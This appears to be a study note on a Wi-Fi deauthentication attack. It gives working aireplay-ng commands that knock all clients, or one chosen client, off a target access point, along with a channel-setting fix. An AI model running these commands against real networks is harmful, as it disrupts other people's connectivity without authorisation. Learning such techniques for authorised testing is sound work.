# Deauthentication Attack

**Which deauthenticate users or specific user on AP**

![image.png](https://3641998078-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv4bbPCMP2UOAXGuYloqD%2Fuploads%2FY6chGMxyCGG1k94nK5Cu%2Fimage.png?alt=media)

**spoof client and send message to AP `Deauthentication`**

***

<figure><img src="https://3641998078-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv4bbPCMP2UOAXGuYloqD%2Fuploads%2FmiwiJ4EyOGcp8Xb5lgnI%2Fimage%201.png?alt=media" alt=""><figcaption></figcaption></figure>

**Spoof AP and send message to clients**

***

**We use Two Alpha cart →> one for attack and other for monitor mode(sniffing packet)**

<figure><img src="https://3641998078-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv4bbPCMP2UOAXGuYloqD%2Fuploads%2F2WEAHNyddlLiq3ZTRo2Y%2Fimage%202.png?alt=media" alt=""><figcaption></figcaption></figure>

***

## aireplay-ng Tool

### Deauthenticate All users

```bash
aireplay-ng --deauth 10000 -a Target_Ap_Mac_Address wlan1mon

# 1000 -> refer to nummber of packet
```

<figure><img src="https://3641998078-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv4bbPCMP2UOAXGuYloqD%2Fuploads%2F3lDgBbI9VOfNltqaECmo%2Fimage%203.png?alt=media" alt=""><figcaption></figcaption></figure>

> **To solve this error u must change channel of your adapter manual**

```bash
iwconfig wlan1mon channel 1
```

### **Deauthenticate Specific user**

```bash
aireplay-ng --deauth 10000 -a Target_Ap_Mac_Address -c MAc_specific_Suser wlan1mon

# we found this mac usinf cart 0 which work on sniffing packet
```

<figure><img src="https://3641998078-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv4bbPCMP2UOAXGuYloqD%2Fuploads%2FfiQIwtn2gz6lGRO88Dpd%2Fimage%204.png?alt=media" alt=""><figcaption></figcaption></figure>
